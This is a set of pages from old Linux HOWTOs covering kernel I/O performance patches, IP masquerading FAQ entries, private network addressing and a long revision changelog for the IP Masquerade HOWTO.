  • Andrea Arcangeli has made the patch available at http://www.kernel.org/pub/linux/kernel/people/andrea/kernels/v2.4/2.4.18pre7aa2/. The name of the file is 10_rawio-vary-io-1.

  • Alan Cox has included the patch in the 2.4.18pre9-ac2 kernel patch. The patch is available at http://www.kernel.org/pub/linux/kernel/people/alan/linux-2.4/2.4.18/.

  • The patch is available from SourceForge at http://sourceforge.net/projects/lse/io. The latest version is PAGESIZE_io-2.4.17.patch.

4.2. Modifying Your Driver for the Raw I/O Variable-Size Optimization Patch

In previous versions of this patch, changes were enabled for all drivers. However, the 2.4.17 and later versions of the patch enable the changes only for the Adaptec, Qlogic ISP1020, and IBM ServerRAID drivers. All other drivers for version 2.4.17 and later must be modified to make use of the patch by setting the can_do_varyio bit in the Scsi_Host_Template structure.

Note

Drivers that have the raw I/O patch enabled must support buffer heads of variable sizes (b_size) in a single I/O request because hardsect_size is used until the data buffer is aligned on a 4 K boundary.

Additional information is available on rebuilding Linux device drivers at http://www.xml.com/ldd/chapter/book/index.html.

Prev | Home | Next
Avoiding Bounce Buffers |  | I/O Request Lock Patch


I/O Request Lock Patch

I/O Performance HOWTO
Prev Next

5. I/O Request Lock Patch

This section provides information on the I/O request lock patch, also known as the scsi concurrent queuing patch (sior1), written by Johnathan Lahr.

The I/O request lock patch improves SCSI I/O performance on Linux 2.4 multi-processor systems by providing concurrent I/O request queuing. There are significant I/O performance and CPU utilization improvements possible by enabling multi-processors to concurrently drive multiple block devices.

Before the patch is applied block I/O requests are queued one at a time holding the global spin lock, io_request_lock. Once the patch is applied, SCSI requests are queued while holding the lock specific to the queue associated with the request. Requests that are made to different devices are queued concurrently, and requests that are made to the same device are queued serially.

5.1. Locating the Patch

You can download the I/O request patch from Sourceforge at http://sourceforge.net/projects/lse/io. The latest version is sior1-v1.2416. Patches that enable concurrent queuing for specific drivers are also available at SourceForge. The patch for the Emulex SCSI/FC is lpfc_sior1-v0.249 and the patch for Adaptec SCSI is aic_sior1-v0.249.

5.2. Modifying Your Driver for the I/O Request Lock Patch

The I/O request lock patch installs concurrent queuing capability into the SCSI midlayer. Concurrent queuing is activated for each SCSI adapter device driver. To activate the driver, the concurrent_queue field in the Scsi_Host_Template structure must be set when the driver is registered.

Note

Drivers that activate concurrent queuing must ensure that any access of the request_queue by the driver is protected by the request_queue.queue_lock.

Additional information is available on rebuilding device drivers at http://www.xml.com/ldd/chapter/book/index.html.

Prev | Home | Next
Raw I/O Variable-Size Optimization Patch |  | Additional Resources


Additional Resources

I/O Performance HOWTO
Prev

6. Additional Resources

The following list of Web sites provides additional information on modifying device drivers and configuring the Linux kernel.

  • Information on Dynamic DMA mapping is available at http://lwn.net/2001/0712/a/dma-interface.php3.

  • Kernel-HOWTO is available from the Linux Documentation Project at http://www.linuxdoc.org/HOWTO/Kernel-HOWTO.html.

  • Linux Device Drivers, 2nd Edition published by O'Reilly is available online at http://www.xml.com/ldd/chapter/book/index.html.

Prev | Home
I/O Request Lock Patch |


( ACCOUNTING ) - I need to do accounting on who is using the network

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.29. ( ACCOUNTING ) - I need to do accounting on who is using the network

Though this doesn't have much to do with IPMASQ, here are a few ideas. If you know of a better solution, please email the author of this HOWTO so it can be added to the HOWTO.

  • Idea #1: Log every packet: You can match any specific traffic flows but this method will create VERY LARGE log files. Unfortunately, these log files aren't very readable and it doesn't tell you what was transfered (FTP files, etc.). Fortunately, setting up this form of accounting is easy.

  • Idea #2: Say you want to log all traffic going out onto the internet. You can setup a firewall rule to accept port 80 traffic with with the SYN bit set and log it. Now mind you, this will create smaller log files than the idea above but you will only know the destination IP address and NOT the WWW pages viewed.

  • Idea #3: You could run the command "ipchains -L -M" once a second and log all of those entries. You could then write a program to merge this information into one large file. Again, this will only provide you with the remote IP address and nothing about the content viewed or downloaded.

  • Idea #4: Transparent Proxy: This method really doesn't use IPMASQ since it requires the installation and setup of the Squid HTTP/FTP proxy server. The benefit of this method is that internal users won't notice anything different in terms of connectivity but now the SysAdmin gets a LOT more information (files downloaded, etc). But, there are pros/cons to setting this up:

    Pro:

    • + full logging of all transferred files and issues FTP commands

    • + you can enable caching on the proxy server. With caching, you can save bandwidth since once a file is downloaded, any identical file requests will be served via the cache and not redownloaded via the Internet connection.

    Con:

    • - Setting up a transparent proxy is complicated as it requires kernel changes, setting up Squid, etc.

    • - Could be overkill for a small installation.

    Please see the Advanced Routing HOWTO for more details.

Prev | Home | Next
( SHAPING ) - I want to be able to limit the speed of specific types of traffic | Up | ( MULTIPLE IPs ) - I have several EXTERNAL IP addresses that I want to PORTFW to several internal machines. How do I do this?


Assigning Private Network IP Addresses to the Internal LAN

Linux IP Masquerade HOWTO
Prev Chapter 3. Setting Up IP Masquerade Next

3.3. Assigning Private Network IP Addresses to the Internal LAN

Since all INTERNAL MASQed machines should NOT have official Internet assigned addressees, there must be a specific and accepted way to allocate addresses to those machines without conflicting with anyone else's Internet address.

From the original IP Masquerade FAQ:

RFC 1918 is the official document on which IP addresses are to be used in a non-connected or "private" network. There are 3 blocks of numbers set aside specifically for this purpose.

Section 3: Private Address Space

The Internet Assigned Numbers Authority (IANA) has reserved the
following three blocks of the IP address space for private networks:

              10.0.0.0        -   10.255.255.255
              172.16.0.0      -   172.31.255.255
              192.168.0.0     -   192.168.255.255

We will refer to the first block as "24-bit block", the second as "20-bit
block", and the third as "16-bit" block".  Note that the first block is
nothing but a single class A network number, while the second block is a set
of 16 continuous class B network numbers, and the third block is a set of 255
continuous class C network numbers.

For the record, my preference is to use the 192.168.0.0 network with a 255.255.255.0 Class-C subnet mask and thus this HOWTO reflects this. Any of the above private networks are valid, but just be SURE to use the correct subnet-mask.

So, if you're using a Class-C network, you should number your TCP/IP enabled machines as 192.168.0.1, 192.168.0.2, 192.168.0.3, .., 192.168.0.x

192.168.0.1 is usually set as the internal gateway or Linux MASQ machine which reaches the external network. Please note that 192.168.0.0 and 192.168.0.255 are the Network and Broadcast address respectively (these addresses are RESERVED). Avoid using these addresses on your machines or your network will not function properly.

Prev | Home | Next
Checking your existing kernel for MASQ functionality | Up | Configuring IP Forwarding Policies


( IP Aliasing ) - Can IP Masquerade work with only ONE Ethernet network card?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.26. ( IP Aliasing ) - Can IP Masquerade work with only ONE Ethernet network card?

Yes and no. With the "IP Alias" kernel feature, users can setup multiple aliased interfaces such as eth0:1, eth0:2, etc but its is NOT recommended to use aliased interfaces for IP Masquerading. Why? Providing a secure firewall becomes very difficult with a single NIC card. In addition to this, you will experience an abnormal amount of errors on this link since incoming packets will almost simultaneously be sent out at the same time. Because of all this and NIC cards now costs less than $10, I highly recommend to just get a NIC card for each MASQed network segment.

Users should also understand that IP Masquerading will only work with a physical interface such as eth0, eth1, etc. MASQing out an aliased interface such as "eth0:1, eth1:1, etc" will NOT work. In other words, the following WILL NOT WORK reliably:

  • /sbin/ipfwadm -F -a m -W eth0:1 -S 192.168.0.0/24 -D 0.0.0.0/0

  • /sbin/ipchains -A forward -i eth0:1 -s 192.168.0.0/24 -j MASQ"

If you are still interested in using aliased interfaces, you need to enable the "IP Alias" feature in the kernel. You will then need to re-compile and reboot. Once running the new kernel, you need to configure Linux to use the new interface (i.e. eth0:1, etc.). After that, you can treat it as a normal Ethernet interface with some restrictions like the one above.

Prev | Home | Next
( IRC DCC ) - mIRC doesn't work with DCC Sends | Up | ( Multiple-LANs ) - I have two MASQed LANs but they cannot communicate with each other!


Setting Up IP Masquerade

Linux IP Masquerade HOWTO
Prev Next

Chapter 3. Setting Up IP Masquerade

Table of Contents
3.1. Compiling a new kernel if needed
3.2. Checking your existing kernel for MASQ functionality
3.2.1. Compiling Linux 2.4.x Kernels
3.2.2. Compiling Linux 2.2.x Kernels
3.2.3. Linux 2.0.x Kernels
3.3. Assigning Private Network IP Addresses to the Internal LAN
3.4. Configuring IP Forwarding Policies
3.4.1. Configuring IP Masquerade on Linux 2.4.x Kernels
3.4.2. Configuring IP Masquerade on Linux 2.2.x Kernels
3.4.3. Configuring IP Masquerade on Linux 2.0.x Kernels
Prev | Home | Next
Requirements for IP Masquerade on Linux 2.0.x |  | Compiling a new kernel if needed


Miscellaneous

Linux IP Masquerade HOWTO
Prev Next

Chapter 8. Miscellaneous

Table of Contents
8.1. Useful Resources
8.2. Linux IP Masquerade Resource
8.3. Thanks to the following supporters..
8.4. Reference
8.5. Changes
Prev | Home | Next
( Thanks ) - I got IP Masquerade working, it's great! I want to thank you guys, what can I do? |  | Useful Resources


Changes

Linux IP Masquerade HOWTO
Prev Chapter 8. Miscellaneous

8.5. Changes

TO do - HOWTO:

  • Add the scripted IPMASQADM example to the Forwarders section. Also confirm the syntax.

  • Add a little section on having multiple subnets behind a MASQ server

  • Confirm the IPCHAINS ruleset and make sure it is consistant with the IPFWADM ruleset

TO DO - WWW page:

  • Update all PPTP urls from lowrent to ftp://ftp.rubyriver.com/pub/jhardin/masquerade/ip_masq_vpn.html

  • Update the PPTP patch on the masq site

  • Update the portfw FTP patch

Changes from 01/05/02 to 02/09/02

  • 04/01/02: - Updated the rc.firewall-2.4-stronger ruleset to denote and disable internal DHCP server support on the OUTPUT rules

  • 02/09/02: - Added Redhat-style init.d scripts to start the rc.firewall files

  • 02/09/02: - Updated all the various chapters to use human readable file names vs. things like x2623.html.

  • 02/09/02: - Expanded the IPMASQ accounting section

  • 02/04/02: - Deleted an extra "$" from the PORTFW variable in section 6.7.1

  • 01/31/02: - Updated the URLs for the PPPd and Diald homepages

  • 01/26/02: - Fixed some typos and added a LooseUDP clarification to tell users to read the example rc.firewall-2.2 ruleset comments on how to enable LooseUDP.

  • 01/08/02: - Made some slight clarifications to IP Alias support

Changes from 11/19/01 to 01/05/02 - 010502 pubsished to the LDP

  • 01/05/02: - Added disabled rules to the rc.firewall-2.4-stronger ruleset to support INTERNAL DHCP server and EXTERNAL access to a WWW server running on the MASQ machine.

  • 01/05/02: - Added required changes to the loading of the ip_conntrack_ftp module if people PORTFW to non-standard FTP ports.

  • 01/05/02: - Added an example in the 2.4.x PORTFW section on how to REDIRECT internal traffic back to an INTERNAL server. This is the same as running REDIR under 2.2.x and 2.0.x kernels.

  • 01/05/02: - Added Juanjox mirror URLs to the HOWTO.

  • 01/04/02: - Clarified and cleaned up the ICQ PORTFW section; Added thoughts on the ip_masq_icq, PORTFW, and SOCKS solutions

  • 01/05/02: - Added Slackware 8.0 to the supported list.

  • 01/04/02: - Fixed some spelling mistakes in the 2.4 and 2.2 rulesets. Thanks to Michael Ott for the sharp eye.

  • 12/19/01: - Fixed a minor comment typo in the rc.firewall-2.4 file. Thanks to Bruno Negrao for this one.

  • 12/02/01: - Fixed some minor version typos in the 2.4.x rc.firewall ruleset; Added a missing $PORTFWIF variable for the 2.4.x PORTFW example. Thanks to Neil Bunn for the errata.

  • 11/25/01: - Expanded on the ipchains module conflict error messages in Section 5

  • 11/23/01: - Updated the HOWTO to reflect a new PPTP kernel module for the 2.4.x kernels

  • 11/19/01: - Clarified the PPTP supports for 2.4.x kernels

Changes from 08/26/01 to 11/18/01 - 111801 published to the LDP

  • 11/12/01: - updated various comments to reflect new versions:linux 2.4.14, iptables 1.2.4, and linux 2.2.20.

  • 11/12/01: - Added the rc.firewall-2.4-stronger ruleset to the HOWTO, updated the 2.4.x kernel and IPTABLES compiling steps to reflect 2.4.14 and 1.2.4.

  • 11/10/01: - Added the directly downloadable versions of the 2.4, 2.4-stronger, 2.2, 2.2-stronger, 2.0, and and 2.0.x-stronger rulesets to the WWW.

  • 11/10/01: - Updated the 2.4.x PORTW example to add the missing FORWARD option.

  • 11/10/01: - Updated the DSL-HOWTO link in the HOWTO

  • 10/27/01: - Updated the network diagram in section 2.5 to be a little more verbose.

  • 09/18/01: - Fixed some broken reference links pointing to the respective 2.4.x, 2.2.x, and 2.0.x kernel compiling recommendations.

  • 09/16/01: - Cleaned up and updated the PORTFW section to also include PREROUTING examples for 2.4.x kernels.

  • 09/13/01: - Updated the IPTABLES simple rc.firewall ruleset to 0.62. This fixed a typo on the MASQ enable line that used eth0 instead of $EXTIF. Thanks to Hafi for reporting this.

  • 09/07/01: - It seems that most people who are getting IPCHAINS and IPTABLES conflicts are running Redhat 7.1. I have updated section 5 on how to fix this. Thanks to Jason Wenzel for helping me with this.

  • 09/07/01: - Noted that IPTABLES v1.2.3 is current version. All versions less than v1.2.3 have an FTP module bug that can bypass strong firewall rulesets. Please upgrade your copy of IPTABLES now.

  • 09/07/01: - Created version numbers for the simple rc.firewall rulesets (IPTABLES - v0.61) (IPCHAINS - v1.01) (IPFWADM - v2.01). and cleaned up some of the comments in each section.

  • 09/07/01: - Added rules to the simple rc.firewall rulesets to flush the various tables. In addition to this, I have added the use of environment variables and more echo statements in the rulesets to make things easier to edit and monitor. Thanks to Ian Bishop for the good idea.

  • 09/07/01: - Added the use of EXTIF and INTIF interface variables in each of the rc.firewall and partial firewall rulesets for better clarity (similar to how TrinityOS has been doing for a while now). Thanks to Sean McKeon for the nudge.

  • 09/07/01: - Fixed a typo in the UNIX client configuration section where the network broadcast was 192.168.0.25 instead of .255.

Changes from 2.01 to 2.05 - 08/26/01

  • 08/19/01: - Added an additional testing step in Section5 to make sure the rc.firewall file loads ok. Thanks to Steven Levis for the good idea.

  • 08/15/01: - Change the reference for the /etc/hosts file from RFC952 to RFC1035. Thanks to Michael F. Maggard for the correction.

Changes from 1.96 to 2.01 - 08/12/01

  • 08/12/01: - Updated the basic IPTABLES ruleset to 0.60 which fixed a major issue where all MASQed packets were being dropped. Ultimately, I forgot to add a rule to ACCEPT correct packets through the forwarding chain.

  • - Added an additional rule to log all bogus FORWARD packets

  • - Load the FTP nat modules now by default

  • - Changed the load order of some of the kernel modules to not create bogus error messages

  • - Added an IPTABLES section on how to MASQ specific hosts vs. an entire subnet

  • - Added more MASQ-client compatible operating systems

  • 07/19/01: - The advanced IPCHAINS example for forwarding between multiple interfaces was missing the critital "-j ACCEPT" to actually let the packets flow. Thanks to Shingo Yamaguchi for catching this.

Changes from 1.96 to 2.00 - 06/10/01

  • 06/21/01: Updated Section 5 (Testing Section) to add an additional test to help users troubleshoot their MASQ setup. There are now a total of -11- tests. 06/16/01: Updated the intro History section at the beginning of the HOWTO. 06/14/01: Added mirror Netfilter and IPCHAINs mirror URLs 06/13/01: Updated the H.323 URL

  • 06/10/01: Double DOH! The simple rc.firewall script for the 2.4 kernels had two major errors in it. The new version is far more informative and even works! I am continuing to go through the HOWTO and cleaning things up but I'm not done quite yet.

  • 06/02/01: Updated the lists of known compatible MASQ'ed operating systems (Windows M3, Linux 2.3, 2.4, etc) Made more references to DHCP and DNS in the various different MASQ client configuration guides.

  • 04/12/01: Thanks to the Joshua X and the other people at Command Prompt, Inc. for the port of the HOWTO from LinuxDoc to DocBook. Add email list URL to line 126

Changes from 1.90 to 1.95 - 11/11/00

  • A BIG thanks to the Joshua X and the other people at Command Prompt, Inc. for the port of the HOWTO from LinuxDoc to DocBook.

  • Added a quick upfront notice in the intro that running a SINGLE NIC in MASQ mutliple ethernet segments is NOT recommended and linked to the relivant FAQ entry. Thanks to Daniel Chudnov for helping the HOWTO be more clear.

  • Added a pointer in the Intro section to the FAQ section for users looking for how MASQ is different from NAT and Proxy services.

  • Reordered the Kernel requirements sections to be 2.2.x, 2.4.x, 2.0.x

  • Expanded the kernel testing in Section 3 to see if a given kernel already supports MASQ or not.

  • Reversed the order of the displayed simple MASQ ruleset examples (2.2.x and 2.0.x)

  • Cleaned up some formatting issues in the 2.0.x and 2.2.x rc.firewall files

  • Noted in the 2.2.x rc.firewall that the defrag option is gone in some distro's proc (Debian, TurboLinux, etc)

  • Added a NOTE #3 to the rc.firewall scripts to include instructions for Pump. Thanks to Ross Johnson for this one.

  • Cleaned up the simple MASQ ruleset examples for both the 2.2.x and 2.2.x kernels

  • Updated the simple and stronger IPCHAINS and IPFWADM rulesets to include the external interface names (IPCHAINS is -i; IPFWADM is -W) to avoid some internal traffic MASQing issues.

  • Vastly expanded the Section 5 (testing) with even more testing steps with added complete examples of what the output of the testing commands should look like.

  • Moved the H.323 application documentation from NOT supported to Supported. :-)

  • Reordered the Multiple LAN section examples (2.2.x then 2.0.x)

  • Made some additional clarifications to the Multiple LAN examples

  • Fixed a critical typo with multiple NIC MASQing where the network examples had the specified networks reversed. Thanks to Matt Goheen for catching this.

  • Added a little intro to MFW in the PORTFW section.

  • Reveresed the 2.0.x and 2.2.x sections for PORTFW

  • Updated the news regarding PORTFWing FTP traffic for 2.2.x kernels
      NOTE:  At this time, there *IS* a BETA level IP_MASQ_FTP module
         for PORT Forwarding FTP connections 2.2.x kernels which also supports
         adding additional PORTFW FTP ports on the fly without the requirement
         of unloading and reloading the IP_MASQ_FTP module and thus breaking
         any existing FTP transfers.

  • Added a top level note about PORTFWed FTP support

  • Added a noted to the 2.0.x PORTFW'ed FTP example why users DON'T need to PORTFW port 20.

  • Updated the PORTFW section to also mention that users can use FTP proxy applications like the one from SuSe to support PORTFWed FTP-like functionality. Thanks to Stephen Graham for this one.

  • Updated the example for how to enable PORTFWed FTP to also include required configurations on how the ip_masq_ftp module is loaded for users who use multiple PORTs to contact multiple internal FTP servers. Thanks to Bob Britton for reminding me about this one.

  • Added a FAQ entry for users who have embedded ^Ms in their rc.firewall file

  • Expanded the FAQ entry talking about how MASQ is different from NAT and Proxy to include some informative URLs.

  • Updated the explanation of the MASQ MTU issue and described the two main explanations for the issue.

  • Clarified that the RFC, PPPoE should only require an MTU of 1490 though some ISPs require a setting of 1460. Because of this, I have updated the example to show an MTU of 1490.

  • Broke out the Windows 9x sections into Win95 and Win98 as they use different settings (DWORD vs. STRING). I also updated the sections to be clearer and the Registry backup methods have been updated.

  • Fixed a typo where the NT 4.0 Registry entries were backwards (Tcpip/Parameters vs. Parameters/Tcpip).

  • Fixed an issue where the WinNT entry should have been a DWORD and not a STRING.

  • A serious thanks goes out to Geoff Mottram for his various PPPoE and various Windows Registry entry fixes.

  • Added an explict URL for Oident in the IRC FAQ entry

  • Updated the FAQ section regarding some broken "netstat" versions

  • Added new FAQ sections for MASQ accounting ideas and traffic shaping

  • Expanded the IPROUTE2 FAQ entry on what Policy-routing is.

  • Moved the IPROUTE2 URLs to the 2.2.x Kernel requirements section and also added a few more URLs as well.

  • Corrected the "intnet" varible in the stronger IPCHAINS ruleset to reflect the 192.168.0.0 network to be consistent with the rest of the example. Thanks to Ross Johnson for this one.

  • Added a new FAQ section for users asking about forwarding problems between multiple internal MASQed LANs.

  • Added a new FAQ section about users wanting to PORTFW all ports from multiple external IP addresses to internal ones. I also touched on users who were trying to PORTFW all ports on multiple IP ALIASed interfaces and also noted the Bridge+Firewall HOWTO for DSL and Cablemodem users who have multiple IPs in a non-routed environment.

  • Added Mandrake 7.1, Mandrake 7.2, and Slackware 7.1 to the supported list

  • Added Redhat 7.0 to the MASQ supported distros. Thanks to Eugene Goldstein for this one.

  • Fixed a mathematical error in the "Maximum Throughput" calculation in the FAQ section. Thanks to Joe White @ ip255@msn.com for this one.

  • Fixed the Windows9x MTU changes to be a STRING change and not a DWORD change to the registry. Thanks to jmoore@sober.com for this one.

  • Updated the comments in the 2.0.x rc.firewall script to note that the ip_defrag option is for both 2.0 and 2.2 kernels. Thanks to pumilia@est.it for this clarification.

Changes from 1.85 to 1.90 - 07/03/00

  • Updated the URL for TrinityOS to reflect its newest layout

  • Caught a typo in the IPCHAINS rulesets where I was setting "ip_ip_always_defrag" instead of "ip_always_defrag"

  • The URL to Taro Fukunaga was invaild since it was using "mail:" instead of "mailto:"

  • Added some clarification to the "Masqing multiple internal interfaces" where some users didn't understand why eth0 was referenced multiple times.

  • Fixed another "space after the EXTIP variable" bug in the stronger IPCHAINS section. I guess I missed one.

  • In Test #7 of Section 5, I referred users to go back to step #4. That should have been step #6.

  • Updated the kernel versions that came with SuSe 5.2 and 6.0

  • Fixed a typo (or vs. of) in Section 7.2

  • Added Item #9 to the Testing MASQ section to refer users who are still haing MASQ problems to read the MTU entry in the FAQ

  • Improved the itemization in Section 5

  • Updated the IPCHAINS syntax to show the MASQ/FORWARD table. Before, it was valid to run "ipchains -F -L" but now only "ipchains -M -L" works.

  • Updated the LooseUDP documentation to reflect the new LooseUDP behavior in 2.2.16+ kernels. Before, it was always enabled, now, it defaults to OFF due to a possible MASQed UDP port scanning vulnerability. I updated the BASIC and SEMI-STRONG IPCHAINS rulesets to reflect this option.

  • Updated the recommended 2.2.x kernel to be 2.2.16+ since there is a TCP root exploit vulnerability on all lesser versions.

  • Added Redhat 6.2 to the MASQ supported list

  • Updated the link for Sonny Parlin's FWCONFIG to point to fBuilder.

  • Updated the various examples of IP addresses from 111.222.333.444 to be 111.222.121.212 and within a valid IP address range

  • Updated the URL for the BETA H.323 MASQ module

  • Finally updated the MTU FAQ section to help out PPPoE DSL and Cablemodem users. Basically, Section 7.15 now reflects the fact that users can also change the MTU settings of all of their INTERNAL machines to solve the dreaded MASQ MTU issue.

  • Added a clarification to the PORTFW section that PORTFWed connections which work for EXTERNAL clients but will not work for INTERNAL clients. If you also need INTERNAL portfw, you will need to also implement the REDIR tool as well. I also noted that this issue is fixed in the 2.4.x kernels with Netfilter.

  • I also added a technical explanation from Juanjo to the end of the PORTFW section to why this senario doesn't work properly.

  • Updated all of the IPCHAINS URLs to point to Paul Rusty's new site at http://netfilter.filewatcher.org/ipchains/

  • Updated Paul Rustys email address

  • Added a new FAQ section for users whose connections remain idle for a long period of time and PORTFWed connections no longer work.

  • Updated all the URLs to the LDP that pointed to metalab.unc.edu to the new site of linuxdoc.org

  • Updated the Netfilter URLs to point to renamed HOWTOs, etc.

  • I also updated the status of the 2.4.x support to note that I *will* add full Netfilter support to this HOWTO and if the time comes, then split that support off into a different HOWTO.

  • Updated the 2.4.x Requirements section to reflect how NetFilter has changed compared to IPFWADM and IPCHAINS and gave a PROs/CONs list of new features and changes to old behaviors.

  • Added a TCP/IP math example to the "My MASQ connection is slow" FAQ entry to better explain what a user should expect performance wise.

  • Updated the HOWTO to reflect that newer versions of the "pump" DHCP client now can run scripts upon bringup, lease renew, etc.

  • Updated the PORTFWing of FTP to reflect that several users say they can successfully forward FTP traffic to internal machines without the need of a special ip_masq_ftp module. I have made the HOWTO reflect that users should try it without the modified module first and then move to the patch if required.

Changes from 1.82 to 1.85 - 05/29/00

  • Ambrose Au's name has been taken off the title page as David Ranch has been the primary maintainer for the HOWTO for over a year. Ambrose will still be involved with the WWW site though.

  • Deleted a stray SPACE in section 6.4

  • Re-ordered the compatible MASQ'ed OS section and added instructions for setting up a AS/400 system running on OS/400. Thanks to jaco@libero.it for the notes.

  • Added an additional PORFW-FTP patch URL for FTP access if HTTP access fails.

  • Updated the kernel versions for Redhat 5.1 & 6.1 in the FAQ

  • Added FloppyFW to the list of MASQ-enabled Linux distros

  • Fixed an issue in the Stronger IPFWADM rule set where there were spaces between "ppp_ip" and the "=".

  • In the kernel compiling section for 2.2.x kernels, I removed the reference to enable "CONFIG_IP_ALWAYS_DEFRAG". This option was removed from the compiling section and enabled by default with MASQ enabled in 2.2.12.

  • Because of the above change in the kernel behavior, I added the enabling of ip_always_defrag to all the rc.firewall examples.

  • Updated the status of support for H.323. There are now ALPHA versions of modules to support H.323 on both 2.0.x and 2.2.x kernels.

  • Added Debian v2.2 to the supported MASQ distributions list

  • Fixed a long standing issue where the section that covered explict filtering of IP addresses for IPCHAINS had old IPFWADM syntax. I've also cleaned this section up a little and made it understandable.

  • Doh! Added Juan Ciarlante's URL to the important MASQ resources section. Man.. you guys need to make me more honest than this!!

  • Updated the HOWTO to reflect kernels 2.0.38 and 2.2.15

  • Reversed the order shown to compile kernels to show 2.2.x kernels first as 2.0.x is getting pretty old.

  • Updated the 2.2.x kernel compiling section to reflect the changed options for the latter 2.2.x kernels.

  • Added a a possible solution for users that fail to get past MASQ test #5.

Changes from 1.81 to 1.82 - 01/22/00

  • Added a missing subsection for /proc/sys/net/ipv4/ip_dynaddr in the stronger IPCHAINS ruleset. Section 6.5

  • Changed the IP Masq support for Debian 2.1 to YES

  • Reorganized and updated the "Masq is slow" FAQ section to include fixing Ethernet speed and duplex issues.

  • Added a link to Donald Becker's MII utilities for Ethernet NIC cards

  • Added a missing ")" for the 2.2.x section (previously fixed it only for the 2.0.x version) to the ICQ portfw script and changed the evaluation from -lt to -le

  • Added Caldera eServer v2.3 to the MASQ supported list

  • Added Mandrake 6.0, 6.1, 7.0 to the MASQ supported list

  • Added Slackware v7.0 to the MASQ supported list

  • Added Redhat 6.1 to the MASQ supported list

  • Added TurboLinux 4.0 Lite to the MASQ supported list

  • Added SuSe 6.3 to the MASQ supported list

  • Updated the recommended stable 2.2.x kernel to be anything newer than 2.2.11

  • In section 3.3, the HOWTO forgot how to tell the user how to load the /etc/rc.d/rc.firewall upon each reboot. This has now been covered for Redhat (and Redhat-based distros) and Slackware.

  • Added clarification in the Windows WFWG v3.x and NT setup sections why users should NOT configure the DHCP, WINS, and Forwarding options.

  • Added a FAQ section on how to fix FTP problems with MASQed machines.

  • Fixed a typo in the Stronger firewall rulesets. The "extip" variabl cannot have the SPACE between the variable name and the "=" sign. Thanks to johnh@mdscomp.com for the sharp eye.

  • Updated the compatibly section: Mandrake 7.0 is based on 2.2.14 and TurboLinux v6.0 runs 2.2.12

Changes from 1.80 to 1.81 - 01/09/00

  • Updated the ICQ section to reflect that the new ICQ Masq module supports file transfer and real-time chat. The 2.0.x module still has those limitations.

  • Updated Steven E. Grevemeyer's email address. He is the maintainer of the IP Masq Applications page.

  • Fixed a few lines that were missing the work AREN'T for the "setsockopt" errors.

  • Updated a error the strong IPCHAINS ruleset where it was using the variable name "ppp_ip" instead of "extip".

  • Fixed a "." vs a "?" typo in section 3.3.1 in the DHCP comment section.

  • Added a missing ")" to the ICQ portfw script and changed the evaluation from -lt to -le

  • Updated the Quake Module syntax to NOT use the "ports=" verbage

Changes from 1.79 to 1.80 - 12/26/99

  • Fixed a space typo when setting the "ppp_ip" address.

  • Fixed a typo in the simple IPCHAINS ruleset. "deny" to "DENY"

  • Updated the URLs for Bjorn's "modutils" for Linux

  • Added verbage about NetFilter and IPTables and gave URLs until it is added to this HOWTO or a different HOWTO.

  • Updated the simple /etc/rc.d/rc.firewall examples to notify users about the old Quake module bug.

  • Updated the STRONG IPFWADM /etc/rc.d/rc.firewall to clarify users about dynamic IP addresses (PPP & DHCP), newer DHCPCD syntax, and the old Quake module bug.

  • Updated the STRONG IPCHAINS /etc/rc.d/rc.firewall to ADD a missing section on dynamic IP addresses (PPP & DHCP) and the old Quake module bug.

  • Added a note in the "Applications that DO NOT work" section that there IS a beta module for Microsoft NetMeeting (H.323 based) v2.x on 2.0.x kernels. There is NO versions available for Netmeeting 3.x and/or 2.2.x kernels as of yet.

Changes from 1.78 to 1.79 - 10/21/99

  • Updated the HOWTO name to reflect that it isn't a MINI anymore!

Changes from 1.77 to 1.78 - 8/24/99

  • Fixed a typo in "Section 6.6 - Multiple Internal Networks" where the -a policy was ommited.

  • Deleted the 2.2.x kernel configure option "Drop source routed frames" since it is now enabled by default and the kernel compile option was removed.

  • Updated the 2.2.x and all other IPCHAINS sections to notify users of the IPCHAINS fragmentation bug.

  • Updated all of the URLs pointing at Lee Nevo's old IP Masq Applications page to Seg's new page.

Changes from 1.76 to 1.77 - 7/26/99

  • Fixed a typo in the Port fowarding section that used "ipmasqadm ipportfw -C" instead of "ipmasqadm portfw -f"

Changes from 1.75 to 1.76 - 7/19/99

  • Updated the "ipfwadm: setsockopt failed: Protocol not available" message in the FAQ to be clearer instead of making the user hunt for the answer in the Forwarders section.

  • Fixed incorrect syntax in section 6.7 for IPMASQADM and "portfw"

Changes from 1.72 to 1.75 - 6/19/99

  • Fixed the quake module port setup order for the weak IPFWADM & IPCHAINS ruleset and the strong IPFWADM ruleset as well.

  • Added a user report about port forwarding ICQ 4000 directly in and using ICQ's default settings WITHOUT enabling the "Non-Sock" proxy setup.

  • Updated the URLs for the IPMASQADM tool

  • Added references to Taro Fukunaga, tarozax@earthlink.net for his MkLinux port of the HOWTO

  • Updated the blurb about Sonny Parlin's FWCONFIG tool to note new IPCHAINS support

  • Noted that Fred Vile's patch for portfw'ed FTP access is ONLY available for the 2.0.x kernels

  • Updated the 2.2.x kernel step with a few clarifications on the Experiemental tag

  • Added Glen Lamb's name to the credits for the LooseUDP patch

  • Added a clarification on installing the LooseUDP patch that it should use "cat" for non-compressed patches.

  • Fixed a typo in the IPAUTO FAQ section

  • I had the DHCP client port numbers reversed for the IPFWADM and IPCHAINS rulesets. The order I had was if your Linux server was a DHCP SERVER.

  • Added explict /sbin path to all weak and strong ruleset examples.

  • Made some clarifications in the strong IPFWADM section regarding Dynamic IP addresses for PPP and DHCP users. I also noted that the strong rulesets should be re-run when PPP comes up or when a DHCP lease is renewed.

  • Added references in the 2.2.x requirements, updated the ICQ FAQ section, and added Andrew Deryabin to the credits section for his ICQ MASQ module.

  • Added some clarifcations to the FAQ section explaining why the 2.1.x and 2.2.x kernels went to IPCHAINS.

  • Added a little FAQ section on Microsoft File/Print/Domain services (Samba) through a MASQ server. I also added an URL to a Microsoft Knowledge based document for more details.

  • Added clarifications to the FAQ section that NO Debian distribution supports IP masq out of the box.

  • Updated the supported MASQ distributions in the FAQ section.

  • Added to the Aliased NIC section of the FAQ that you CANNOT masq out of an aliased interface.

  • Wow.. never caught this before but the "ppp-ip" variable in the strong ruleset section is an invalid variable name! It has been renamed to "ppp_ip"

  • In both the IPFWADM and IPCHAINS simple ruleset setup areas, I had a commented out section on enabling DHCP traffic. Problem is, it was below the final reject line! Doh! I moved both up a section.

